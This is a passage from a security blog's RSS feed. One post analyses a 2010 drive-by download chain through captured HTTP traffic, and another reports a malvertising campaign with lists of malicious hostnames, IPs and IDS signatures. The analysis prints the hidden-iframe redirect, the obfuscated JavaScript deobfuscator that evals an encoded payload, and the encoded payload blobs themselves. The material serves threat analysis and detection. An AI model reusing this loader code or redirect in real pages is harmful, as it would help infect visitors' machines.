Server: nginx/0.8.45
Date: Mon, 02 Aug 2010 &lt;REMOVED&gt;
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.13
Content-Length: 0</pre>
<p>Next we will look at the request to the wilstose.co.cc host, this is a request to an intermediary system that will produce a redirect to the actual drive by site:</p>
<pre>GET /zmtrc.php?pq=cust1 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://us.mc1117.mail.yahoo.com/mc/md.php?en=CP1252&amp;v=1
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; &lt;REMOVED&gt;)
Host: wilstose.co.cc
Connection: Keep-Alive</pre>
<p>The response contained within includes the actual link to the live running drive by site contained within a hidden IFRAME:</p>
<pre>HTTP/1.1 200 OK
Server: nginx/0.8.45
Date: Mon, 02 Aug 2010 &lt;REMOVED&gt;
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.13
Content-Length: 133</pre>
<pre>&lt;html&gt;
&lt;body&gt;
&lt;iframe src="http://bbcxq.com/ar/putyq.php" style="visibility:hidden;" width="1" height="1"&gt;&lt;/iframe&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>This will now cause the client to perform a request against the bbcxq.com site:</p>
<pre>GET /ar/putyq.php HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://wilstose.co.cc/zmtrc.php?pq=cust1
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; &lt;REMOVED&gt;)
Host: bbcxq.com
Connection: Keep-Alive</pre>
<p>The response to this request will again serve up some obfuscated data that has to be de obfuscated using the script refrenced in the response (in this case it is named rnrt.js):</p>
<pre>HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 1615
Content-Type: text/html
Date: Mon, 02 Aug 2010 &lt;REMOVED&gt;
Keep-Alive: timeout=1, max=100
Server: Apache/2
Vary: Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.14</pre>
<pre>&lt;html&gt;
&lt;head&gt;
&lt;script src="rnrt.js"&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body uskbfxyp onload="OUWD();" nbl&gt;(EG)(NB)(X_)
&lt;input type="hidden" id="tm" value="4"&gt;(YU)(DJ)(KJ)
&lt;input type="hidden" id="GVaV" value="12#c63@f#b9773@0~2#68@8@94b60~64d3@618@98@db5a!768@ecebf#de7c743@f#73@417496e91114f#65c2#52#b52#df#d5c46656ddc8@16bb8@d641e2#a!98@65cda!e713@8@f#3@12#50~177b8@7f#a!b7a!f#cf#dd7d0~143@a!8@4158@b78@42#8@a!f#2#461f#72#4944db66e1f#158@8@ca!8@3@f#9592#5f#8@d42#47e67a!c0~2#e6da!a!7d650~6477b8@a!0~cf#76a!3@3@0~740~c657def#3@143@e42#cc61447d7f#9e55c47c4b4a!c6ba!5795a!2#78@3@48@7f#5560~2#3@111beec2#3@68@416c4cb0~3@a!498@2#b73@c53@13@0~df#a!52#8@ce50~8@6b6e6cd55d18@710~f#2#9de2#69cc7a!3@b2#7f#d3@973@518@6c4c1e17ca!3@548@68@eb18@8@b2#2#14f#b3@0~94a!457493@1918@9b0~9c1b7eb8@b9cb7490~8@748@9d7748@5563@1ef#3@2#f#58@b5c11c7be0~0~e99d174bf#59574ba!92#72#bc3@655de5f#d54c12#b3@5969db0~f#cb4bb63@8@3@5198@a!c78@40~2#452#41f#d518@4650~75f#f#e3@f#f#65760~b42#3@55466e613@2#dbe5c2#1f#54f#cdf#bcc7c10~d595db8@68@8@953@3@0~0~613@cbf#9c3@e0~7dc190~6df#8@f#3@0~ca!ea!cf#0~9bcb0~40~48@c8@78@8@cb0~8@2#2#be7678@61950~da!75f#3@a!8@4e10~7dd15cce8@d58@eb0~c6a!77448@63@f#b7b5c1f#8@43@8@8@98@8@f#8@40~3@3@2#6f#cb1169112#4e13@d42#d963@0~d13@40~8@3@e6e7a!3@3@98@46d0~5c1998@60~62#55148@b196652#10~3@1540~b2#60~8@a!1a!c1c9ea!b48@1ed698@e5d72#a!5b2#2#5d660~7dd12#f#c3@2#f#ca!50~464596ebb0~2#0~2#c0~3@f#60~5e140~95d719f#4cb69a!f#"&gt;
&lt;input type="hidden" id="xe" value="4"&gt;(P_)(MT)(GZ)
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>This response causes the client to ask the server for the contents of the rnrt.js file, so the next request is made:</p>
<pre>GET /ar/rnrt.js HTTP/1.1
Accept: */*
Referer: http://bbcxq.com/ar/putyq.php
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; &lt;REMOVED&gt;)
Host: bbcxq.com
Connection: Keep-Alive</pre>
<p>This delivers back the following response which has the JavaScript that will deobfuscate the data held within the hidden HTML input tag with the id of &#8220;GVaV&#8221;:</p>
<pre>HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 652
Content-Type: application/javascript
Date: Mon, 02 Aug 2010 &lt;REMOVED&gt;
ETag: &lt;REMOVED&gt;
Keep-Alive: timeout=1, max=99
Last-Modified: Mon, 02 Aug 2010 &lt;REMOVED&gt;
Server: Apache/2
Vary: Accept-Encoding,User-Agent</pre>
<pre>var _ryf=new Object();function hmww_(id){return (_ryf[id])?_ryf[id]:_ryf[id]=document.getElementById(id);};function OUWD(){var ZpG=String;var fnuk=Math;var pbRy='floorwuBYZXz'.replace(/[wuBYZXz]/g,'');var vPkaT=16;var YQu_='fromCnSTzBk'.replace(/[nSTzBk]/g,'')+"harCo"+"VwAdenygv".substr(3,2);var JbG=256;var Bau_=ZpG("evhwv".substr(0,2)+"al");var ru_bz=this;var GVaV=hmww_"GVaV").value;GVaV=GVaV.replace(/[\~@#\!]/g,'');var U_CZ=[471,541,759,116];var zRQQ="";for(var gn_=0;gn_&lt;GVaV.length/2;++gn_){var C_YL=parseInt(GVaV.substr(gn_*2,2),vPkaT)-(gn_+2)*U_CZ[gn_%4];if(C_YL&lt;0){C_YL-=fnuk[pbRy](C_YL/JbG)*JbG;}zRQQ+=ZpG[YQu_](C_YL);}ru_bz[Bau_](zRQQ);}</pre>
<p>Upon the execution of this JavaScript, this will cause the client to POST back information to the server about what type of exploits to serve up. The JavaScript attempts to determine if the host had Acrobat, or Java (among other things) installed and then the appropriate malicious PDF or Java class will be served up to the client.</p>
<pre>POST /ar/putyq.php HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://bbcxq.com/ar/putyq.php
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; &lt;REMOVED&gt;)
Host: bbcxq.com
Content-Length: 40
Connection: Keep-Alive
Cache-Control: no-cache</pre>
<pre>id=53104c390ee1ebc861a1938a5958ea63%26np</pre>
<p>The values at the end of the ID is what tells the drive by what types of exploits to serve up. In this case the &#8220;np&#8221; at the end means &#8220;no java&#8221; and &#8220;yes pdf&#8221;. However, the ID&#8217;s can be the following values:</p>
<pre>np = no java,  yes pdf
jp = yes java, yes pdf
n  = no java,  no pdf
j  = yes java, no pdf</pre>
<p>The response to this POST contains the following obfuscated data that is processed and deobfuscated again by the rnrt.js file:</p>
<pre>HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 9310
Content-Type: text/html
Date: Mon, 02 Aug 2010 &lt;REMOVED&gt;
Keep-Alive: timeout=1, max=100
Server: Apache/2
Vary: Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.14</pre>
<pre>&lt;html&gt;
&lt;head&gt;
&lt;script src="rnrt.js"&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body oz_ljh_h onload="OUWD();" zub&gt;(LR)(X_)(YP)
&lt;input type="hidden" id="_x" value="4"&gt;(BH)(TJ)(SY)
&lt;input type="hidden" id="GVaV" value="14#cc4#a!#@~a!#@~77e34#278@28@6b20!24#53226d8@23924#f75ffe0!10!96b74#a!#@~78@739252f94#166bf1fe53f50!da!#@~0!a!#@~bcbc4#0!e696df8@57ca!#@~a!#@~5f395f4#18@1624#34#a!#@~172116e0!4#f55f6a!#@~fe4#f8@0!e76f536a!#@~18@f9ce0!c617bf4#6a!#@~4#264#7d573b2a!#@~0!4#d57c1d9b7259635320!4#59766db1ef20!0!cca!#@~c62f5a!#@~a!#@~a!#@~c5d4#b38@69530!3b29727ff2e8@1de350!0!b0!9fa!#@~8@cbbea!#@~8@f4#990!72fdbd9b510!d3179577c621fdbc91d2df62d4#6cf8@eb2eba!#@~b4#fd953d26375e99d318@a!#@~318@10!0!2bd21b8@f4#92f2c5ba!#@~96efb794#e27f74#3a!#@~14#fa!#@~91c0!215a!#@~5e7613e4#76ba!#@~6e71f3fcd6c4#75367e515278@c4#bf8@f0!e18@68@f8@3390!17355997e8@95a!#@~f62d5d365e594#0!f9ef0!61cd8@1f50!c56d670!2ce76ff5cb30!f73e58@5168@620!279be9d4#4#ea!#@~97e4#0!2a!#@~8@28@6b5f556f5eeed1a!#@~9395a!#@~ff8@e30!a!#@~9674#4#c70!76595a!#@~f8@5260!b77232255c8@b0!ef5b8@12b1da!#@~0!3c58@15c270!2956a!#@~7a!#@~637e3528@e221e1397ee79de90!90!1b8@3f7de64#fa!#@~3f3c65dfd699126fedd6df670!18@56b90!d6f0!58@7662c1659a!#@~68@6de2e0!f0!eccbc2d92a!#@~2d4#d8@0!a!#@~3e8@72c68@5c778@2ea!#@~3cf4#cc58@0!91b37d5a!#@~0!b79d4#5d0!b6f9b7664#50!de8@4#f61a!#@~594#64#170!6cf31a!#@~d758@4#0!e7cccf0!f65a!#@~d34#0!8@74#f7dd9a!#@~629cd5f75bbefda!#@~66c9964#8@4#2a!#@~2b9c4#297a!#@~3b2dbe0!28@99dc514#0!50!ba!#@~fe8@3e78@90!a!#@~c8@70!0!6a!#@~8@0!e1734#65d7de9112694#15cff327cbda!#@~b98@94#2a!#@~98@8@c2a!#@~4#94#5c0!b2d5d365d56ffcee2fbdb8@f0!9630!2a!#@~3a!#@~5f9cd71ba!#@~4#1b14#0!5be24#bc4#7d0!a!#@~5cd0!d58@20!3937f3f24#8@3d5a!#@~a!#@~b4#293a!#@~23e219919a!#@~73a!#@~fa!#@~1f78@4#7b0!1367b8@594#b14#56cf31ef73a!#@~4#bddcec29651ddd216a!#@~6be956e3a!#@~94#73ce63310!f33124#518@758@be8@d99712197f4#0!6cea!#@~34#9ce0!c61bbf669528@27d58@0!e9a!#@~c514#9c0!beb5399255370!963bc5fa!#@~53f13118@0!0!a!#@~67916a!#@~92d4#f8@7198@375a!#@~60!658@ee0!0!511a!#@~a!#@~18@1f0!73ec8@e1e6774#5d0!a!#@~9fcc1998@0!0!e357556795c2b2b0!71530!f3714#914#c3b9f0!f8@8@d21719d1b7a!#@~db9d34#a!#@~4#1a!#@~4#7bb0!1dc7190!550!30!0!64#a!#@~78@2297a!#@~3b2dbdfc5d97d8@18@0!2dd6fa!#@~350!797fbcbbb95b8@3132e355631e718@e3bd54#fef2e8@cbd0!c4#3df8@7fa!#@~1d8@b8@8@e574#220!6b324#a!#@~9e4#0!0!3fd0!f18@ca!#@~0!a!#@~3c0!b98@a!#@~dea!#@~e171ff69bc0!26de18@d18@b70!b27b0!17bd4#ea!#@~57730!d8@8@7d8@a!#@~2d10!6f0!e2db138@4#8@ec2f9a!#@~9fa!#@~9cca!#@~4#38@66c52a!#@~2e74#616a!#@~e6e2528@5ed3d5b67a!#@~0!f998@6c2bbb59d652fa!#@~0!4#17c6f38@f9d8@ed20!d37b8@932d5dbfcda!#@~6bf34#6f57a!#@~9bedb758@eb629ed4#4#6ca!#@~7ca!#@~c63565eb50!8@6f2a!#@~922fe50!8@57be71a!#@~bf31d10!ca!#@~0!a!#@~6f8@299d7910!6759530!6a!#@~54#4#38@bf0!2d4#6ef2c0!5124#bd7e8@dd9c3e8@2b8@f9bba!#@~17723277754#7c621f27171a!#@~4#0!e9674#a!#@~1bcdc9f8@f28@a!#@~2132d36d8@1e0!a!#@~a!#@~2a!#@~d958@79fd34#8@d5cd8@8@ff8@1159a!#@~38@8@d1291be0!a!#@~d155b54#a!#@~5c9b7e4#65992f3c4#18@56fb0!3939cb4#0!f90!94#398@d5f58@30!ccda!#@~9df9c8@d7957f4#69659768@6119f3f8@21e96b50!fdd5a!#@~bc4#f58@90!754#b5597fa!#@~c914#5bf20!8@9f91bb0!4#9c9930!8@25b5d37c1d692f0!cdd39a!#@~764#b925e7d8@b1d94#368@71a!#@~9bbc0!4#d95fb34#4#54#957c4#0!519cf1ce10!50!f90!d9b96b20!998@9e378@757523ec6d297f7c2df9f7d4#0!9e5374#8@0!19993d8@c1690!b30!9d554#ba!#@~4#950!9a!#@~734#55d91f8@c31c55f0!0!2979bb90!e94#933e8@c535735cbde9cfec7db94#74#4#59a!#@~58@7b8@5159e34#8@11295ba!#@~0!ed159b14#e5c9f7a!#@~4#a!#@~5996ffc8@18@5a!#@~f70!79390!b0!0!390!98@358@15f5c3cc0!da!#@~91f5ccd7997b4#a!#@~965d728@a!#@~11933b8@61e9a!#@~b10!3dd5eb8@4#358@94#714#f559bf6cd14#5ffe0!c9f95b70!8@9c9d3c8@65b5133c5d696fcc1d39e72d0!20!937b6dee28@31ccff733ced1c27c3eb18@5dbb14#e5c4#224#21395a!#@~5b0!bfa!#@~f91526a!#@~11e8@6f3a!#@~660!b28@e6d0!a!#@~6f68@38@5bd58@91690!4#8@76d51a!#@~7f2eb978@f30!b8@8@d8@a!#@~8@0!24#bf0!19e2238@b6a!#@~b4#e5ecde97b8@3b373d5d5eb4#10!2dba!#@~28@ecf4#169eca!#@~c0!7a!#@~16a!#@~0!9ddb7f8@3662a!#@~f8@5c358@674#4#10!0!e7df18@d0!4#354#f1a!#@~0!a!#@~1c9c8@7a!#@~0!0!37a!#@~e4#552b28@8@10!bb2b5ced13934#0!ba!#@~660!c198@cc28@8@fc50!23f4#d520!8@16ba!#@~8@f9e2d790!cb3250!64#998@ec4#4#16a!#@~ea!#@~38@1c38@4#6a!#@~efa!#@~0!0!a!#@~c26d0!d50!397a!#@~ca!#@~55e0!8@8@8@7dc177694#51ceb4#514#735f27edca!#@~e0!0!4#b0!2b4#bde8@0!8@7bfb550!eb3c8@c253fa!#@~d68@f8@9a!#@~174#bc8@f2962b90!5a!#@~0!6fc6cb673e33b0!6f2be0!0!6b5f90!d8@c8@cf78@a!#@~c1a!#@~4#e5370!8@1c124#4#bd8@2b0!c18@2ea!#@~be4#e0!9617b8@b7ee8@79c8@54#20!4#7c50!a!#@~6794#c25ffe8@28@f55b5d0!4#c5b6d0!e0!95134#3bc6770!b39f38@c632790!0!2ca!#@~8@50!dc8@60!f33a!#@~8@da!#@~8@b10!70!3dffe4#4#59673c0!15f3e99ce54#f5d78@b5a!#@~bcd54#8@90!e3b38@5b5eb71720!c72fe8@fd2297d1cd7210!a!#@~694#ce8@4#8@1672a!#@~fb6230!9374#34#0!5e7e0!10!d54#25ceca!#@~8@a!#@~5c3d57bf63ca!#@~94#8@52b38@b10!bb2b5ced13934#0!ba!#@~660!c198@cc28@8@fc50!23f4#d520!8@16ba!#@~8@f8@ded78@9c4#38@4#b6d9b8@ec4#4#0!6cea!#@~38@1d394#6a!#@~cf8@0!5a!#@~224#dcd0!0!699a!#@~ca!#@~55f0!c8@8@75ba!#@~7c64#4#517ef4#0!1572631ce8@ced30!0!b52650!e0!8@0!8@ec2b0!55e234#8@c253fa!#@~d68@f79c174#ec9f2922690!58@0!4#fc67b0!73e23b0!6ecb90!8@6260!94#d5bedc77a!#@~0!1f4#8@5270!7bbb294#0!dd38@0!0!1d3a!#@~9fe1e4#94#13bdb4#eb8@7a!#@~18@d4#20!0!755a!#@~9e7750!20!0!1eb28@fc5d5711cdb2d0!e598@0!e4#4#c0!696a!#@~b8@9d36c62c790!a!#@~22a!#@~0!54#d97e14#31a!#@~4#da!#@~8@8@0!c7736ffee4#0!9d6fc0!15f2e8@9ce54#e5f78@b5a!#@~a!#@~cc54#8@c0!93b355663a!#@~f1125c323edf520!97c9c4#770!ba!#@~594#db7f8@76d2a!#@~0!0!64#30!8@b6b3e0!0!e7df15d0!4#b5ceca!#@~59fcdc8@77fe37a!#@~c4#552b4#8@c10!ba!#@~265ce50!e98@38@b56b1114#8@7c8@7bfa!#@~5c1ef9d120!8@4#6ca!#@~8@f8@e0!d78@ecb3250!6598@8@ec4#4#0!65ea!#@~4#0!2330!4#ba!#@~cfe0!0!a!#@~71fd5d0!0!a!#@~97a!#@~ca!#@~55e0!8@8@8@75bc7b64#4#517f54#0!1b725f21e4#d3d3fdb4#324#7d98@4#8@7bbb8@54#de399520!4#2a!#@~d68@fb9b174#9c4#f78@b259558@ff0!8@67a!#@~a!#@~78@dd360!6ecb8@0!56268@9dd0!c3d375a!#@~0!274#e4#8@757a!#@~c324#4#bd62b0!515339fe1e4#9613bdb4#ea!#@~8@7998@4#4#7fb7555a!#@~66f54#24#fa!#@~ec2cf0!5e5c0!4#c7b8@cbe8@970!e4#6c260!71bb98@3dcc277b0!8@22a!#@~256d0!8@6162ca!#@~7e0!8@3127a!#@~36ffe94#0!9b77c0!1a!#@~fa!#@~dfa!#@~4#ea!#@~4#a!#@~5f8@3b0!a!#@~bcc5c8@0!0!73f3950!63b4#1620!bf27edf0!21a!#@~1c4#c57614#a!#@~0!95d38@37c652ef8@58@378@c673c0!a!#@~e2e0!15d8@3e54#f0!a!#@~59a!#@~c8@cd79f63ca!#@~94#652b0!8@515a!#@~e24#61e4#0!a!#@~98@3db9660!c18@8@5c28@7f8@50!23f3d120!7f69a!#@~cf0!dbdc8@ec0!3b5760!9a!#@~9bbf4#165ee331d34#4#a!#@~a!#@~7fb0!6a!#@~227dbd0!0!393b5a!#@~0!5f0!8@9270!bb7b6c4#0!1bf74#0!1a!#@~7a!#@~5f24#ea!#@~ca!#@~dd0!3b0!2b4#be0!8@0!8@7c0!b550!e334#9520!3fa!#@~76df0!9f234#4#ca!#@~fd8@b259556ff0!164#a!#@~f73e53b0!6ecb90!a!#@~6260!94#d5beda!#@~79a!#@~0!274#f4#8@757a!#@~c124#4#5d630!0!0!1d3b9fe1e594#13c0!b4#e68@e9c8@0!4#e0!670!5ca!#@~56f592dfa!#@~e8@2df8@565c0!8@c9b2d0!e5960!e4#4#c16a!#@~6a!#@~bba!#@~230!d22e74#0!526a!#@~350!d58@214#2ca!#@~5de8@f0!8@753a!#@~0!3e4#4#79a!#@~6bc8@15eee7a!#@~6e0!565978@b5a!#@~bd254#8@50!73f30!5764#a!#@~f1629ba!#@~2bf2f0!219cc4#c57610!a!#@~0!95d38@97c6c31f35d358@c67390!4#e7db1ddd3e54#f0!a!#@~99a!#@~d0!d370!fb3bb0!4#0!5da!#@~f8@0!15b324#5ce50!e9f38@b56a!#@~0!b14#8@5c68@0!f0!5523f7cc28@7e63b1f4#d6df8@9c0!395160!98@95bf4#366ea!#@~3a!#@~20!30!53a!#@~df4#0!7a!#@~a!#@~1bd7d6fe97b3a!#@~0!610!98@8@7a!#@~c0!776b4#612f54#610!75651ce7d5d30!4#b8@2651e18@0!8@dc6b0!5ce22f932b3a!#@~b0!6ef0!a!#@~3234#4#cdfb8@b28@9a!#@~4#e0!4#0!16ca!#@~a!#@~8@0!e4#30!0!becbd0!0!696190!d7ca!#@~cf73a!#@~c1a!#@~4#a!#@~4#e70!7dc224#4#cda!#@~2b0!a!#@~1d2ea!#@~a!#@~e7e0!9617b8@b7f18@7a!#@~18@64#20!8@7c50!a!#@~b78@4#c28@0!4#e32df5625711ccb2d0!e5990!e4#6c260!71bf98@37d2277b0!622a!#@~0!55da!#@~7e1c37a!#@~0!df8@8@1170!3bfbef4#0!976fcb10!f3e3a!#@~5e0!4#f578@4#b0!a!#@~bcb60!8@0!0!94#130!58@69a!#@~f1724#ba!#@~2a!#@~eef0!1ea!#@~2c4#cb790!ba!#@~b9bce8@68@260!2ff760!30!8@b6b390!0!e7df1cd0!4#354#f2a!#@~0!a!#@~7d0!c8@75fb4#1a!#@~4#4#557b38@0!18@b8@1f61e4#0!f933db66a!#@~0!7198@4#c778@ed4#d2dffcf67b1a!#@~99eefcc14#c8@0!8@4#4#4#16fda!#@~c30!530!a!#@~1de4#4#0!c68@8@9de3d4#1db5d18@d235d5e5d5a!#@~23ca!#@~1b0!efb8@9d8@25a!#@~e73b4#da!#@~8@a!#@~551210!3cef5bf674#91bb9ca!#@~d0!f8@98@24#6cc2698@2dc64#ebdd5d7bbbf27f5a!#@~d24#b0!e3d62f1a!#@~c20!4#54#e2ffa!#@~3d98@a!#@~4#d8@0!9ba!#@~ca!#@~b7dd528@b8@4#6b76a!#@~b28@3de16c0!25767e7f128@d259f5e62fcfcd7c3d37a!#@~98@dd9a!#@~b94#1bfa!#@~d72ced6598@0!60!7eb13f5d8@568@5f996b3fbd12cc161ba!#@~3563d4#8@613c4#4#765e6d58@3fc6b3a!#@~f2e14#fca!#@~a!#@~ef7592f18@de28@4#c8@9bbe8@f3c98@9c4#4#674#728@8@75eb4#960!f21f29ed25e8@0!b0!2a!#@~74#fe7cc11c778@5d393a!#@~94#73d1a!#@~b6c3a!#@~ded8@1f0!c7593e8@9da!#@~9"&gt;
&lt;input type="hidden" id="ni" value="4"&gt;(GI)(VN)(_G)
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>This will cause the client to now make a request for the malicious PDF:</p>
<pre>GET /ar/k_fgvu/_tvmwh.pdf HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, pplication/msword, */*
Referer: http://bbcxq.com/ar/putyq.php
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; &lt;REMOVED&gt;)
Host: bbcxq.com
Connection: Keep-Alive</pre>
<p>If the client is then vulnerable to the contents of this PDF, they may become infected based upon the actual payload being served up by the drive by site. This is dependant generally upon the antivirus signatures for the current malware being distributed, unfortunately the detection rates are not nearly as high as you generally may think:<br />
<a href="http://www.virustotal.com/estadisticas.html">http://www.virustotal.com/estadisticas.html</a></p>
<p>Hopefully if you have read this you have found it to be of some use.</p>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=177</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Massive Advertising Server Compromise/Socially Engineered By The RBN</title>
		<link>http://trojanedbinaries.com/blog/?p=167</link>
		<comments>http://trojanedbinaries.com/blog/?p=167#comments</comments>
		<pubDate>Wed, 03 Mar 2010 03:06:55 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[IDS]]></category>
		<category><![CDATA[Malvertising]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=167</guid>
		<description><![CDATA[<p>We have identified several major websites (buy.com, cnbc.com, digg.com, evite.com and msn.com just to name a few) using the advertising services of malicious servers that are using Acrobat PDF and Java exploits to force the download and installation of fake antivirus software. Analysis from SysAdMini @ www.malwaredomainlist.com has informed us the sites are all using the [...]]]></description>
			<content:encoded><![CDATA[<p>We have identified several major websites (buy.com, cnbc.com, digg.com, evite.com and msn.com just to name a few) using the advertising services of malicious servers that are using Acrobat PDF and Java exploits to force the download and installation of fake antivirus software. Analysis from SysAdMini @ <a href="http://www.malwaredomainlist.com/">www.malwaredomainlist.com</a> has informed us the sites are all using the NeoSploit drive-by kit. After further reseach, we found that Jiri Sejtko from <a href="http://www.avast.com">Avast!</a> has actually documented this and <a href="http://blog.avast.com/2010/02/18/ads-poisoning-%e2%80%93-jsprontexi/">written up a great blog entry</a> about this back on Feb 18th, 2010. It is unbelievable that online advertisers the likes of yieldmanager.com, fimserve.com, advertangel.com, bannerimg.com, jambovideonetwork.com, myspace.com, zedo.com, vestraff.com and others allowed this to occur and even thrive for the better part of a month. The host names hosting the drive-by and fake antivirus software that we have discovered so far are:</p>
<pre>google.analytics.com.bazqrhafrrh.info
google.analytics.com.bidxctvqvwrw.info
google.analytics.com.byuigracdnjj.info
google.analytics.com.ckzqfrxaxihi.info
google.analytics.com.cvybexpnqhlx.info
google.analytics.com.dbvvwrkgycfa.info
google.analytics.com.dcghkoixsagu.info
google.analytics.com.dfxlhdyffzho.info
google.analytics.com.dwldxeqavts.info
google.analytics.com.dygpcewrjnw.info
google.analytics.com.eliyisgtkaj.info
google.analytics.com.eututrywxvhd.info
google.analytics.com.ezqaxnmsbs.info
google.analytics.com.friavuzpsvxc.info
google.analytics.com.fywthroeasx.info
google.analytics.com.gopbaqvgprvh.info
google.analytics.com.hjvcnunmtzc.info
google.analytics.com.hnstetlseuop.info
google.analytics.com.hzlyaejcvmat.info
google.analytics.com.inxvwrxogrc.info
google.analytics.com.jestywtvadgj.info
google.analytics.com.jgvsjnhmvngn.info
google.analytics.com.jjotqkhqymp.info
google.analytics.com.jklnznqvztu.info
google.analytics.com.jtmqypcgt.info
google.analytics.com.jttyhhvcxmbz.info
google.analytics.com.jvoamkvyxv.info
google.analytics.com.kijksoeohxze.info
google.analytics.com.kmpbfdtknwsh.info
google.analytics.com.kzpkpehthbgn.info
google.analytics.com.lsvoenxxyya.info
google.analytics.com.mnuzqxerjufm.info
google.analytics.com.muhrlwuzyaly.info
google.analytics.com.nbtislvidmq.info
google.analytics.com.nlfgjehbotwi.info
google.analytics.com.noltvoqmhoce.info
google.analytics.com.oaofmsckue.info
google.analytics.com.ocryspyjvkh.info
google.analytics.com.omvdbdcknpct.info
google.analytics.com.pmxjpigimsdv.info
google.analytics.com.prtrkmxkpctw.info
google.analytics.com.pzignbfxspou.info
google.analytics.com.qlgkmytdvyjx.info
google.analytics.com.rimofoixaf.info
google.analytics.com.rmkbyklbhawd.info
google.analytics.com.rtkffbmmgkpw.info
google.analytics.com.rxflhciirups.info
google.analytics.com.sphamifoaqpx.info
google.analytics.com.tbxierkoqze.info
google.analytics.com.tdrfhdzxyb.info
google.analytics.com.tidawgeihqch.info
google.analytics.com.tklaxlxvedkt.info
google.analytics.com.tluaweyermg.info
google.analytics.com.uentfkblzpxx.info
google.analytics.com.uoncvsqcuclx.info
google.analytics.com.uuyvsrbtpjhl.info
google.analytics.com.uwbhpcrydgta.info
google.analytics.com.vgmhlwrixzxz.info
google.analytics.com.vujpgvscrjbk.info
google.analytics.com.vwrvqmvrvjwi.info
google.analytics.com.wwkzrjfuhmjg.info
google.analytics.com.wxrzufdrzzn.info
google.analytics.com.xewffvnixdyk.info
google.analytics.com.xkduqnxfpnfg.info
google.analytics.com.xnboetuqunld.info
google.analytics.com.yfguydudorip.info
google.analytics.com.yggxvnwumcqv.info
google.analytics.com.yhaidebpfltr.info
google.analytics.com.yynspckhyebi.info
google.analytics.com.zejdcqsoglao.info
google.analytics.com.zelhnalbivd.info
google.analytics.com.zsrsjnihnb.info
google.analytics.com.zugponkeqtzz.info</pre>
<p>All of these host names resolved to the following IP addresses at this time:</p>
<pre>69.174.245.147
69.174.245.148
69.174.245.150
72.51.41.155
75.125.183.50
174.142.53.148</pre>
<p>We have been observing this for a few days and have been checking our repository of traffic and this goes back even further than Feb 15th, 2010. The signature that will trip on the download of the malware more often than not is this one:</p>
<p>ET POLICY Binary Download Smaller than 1 MB Likely Hostile<br />
<a href="http://doc.emergingthreats.net/2007671">http://doc.emergingthreats.net/2007671</a></p>
<p>Once a client is infected, the following signatures trip:</p>
<p>ET TROJAN Potential FakeAV HTTP GET Check-IN (/check)<br />
<a href="http://doc.emergingthreats.net/2010597">http://doc.emergingthreats.net/2010597</a></p>
<p>ET TROJAN Potential FakeAV HTTP POST Check-IN (?r=)<br />
<a href="http://doc.emergingthreats.net/2010594">http://doc.emergingthreats.net/2010594</a></p>
<p>ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer)<br />
<a href="http://doc.emergingthreats.net/2002400">http://doc.emergingthreats.net/2002400</a></p>
<p>The infected client will attempt to check-in to the follwing IP Address/hostname:</p>
<p>79.135.152.5 &#8211; avgroupwebsite.com<br />
195.88.190.54 &#8211; av-command.com/av-crew.net</p>
<p>This campaign seems to have been very effective and we know of thousands of hosts that have been exploited by this campaign.</p>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=167</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Integrating NetWitness and Sguil &#8211; Take Two</title>
		<link>http://trojanedbinaries.com/blog/?p=158</link>
		<comments>http://trojanedbinaries.com/blog/?p=158#comments</comments>
		<pubDate>Fri, 15 Jan 2010 23:45:50 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[NetWitness]]></category>
		<category><![CDATA[Sguil]]></category>
		<category><![CDATA[integrate]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=158</guid>
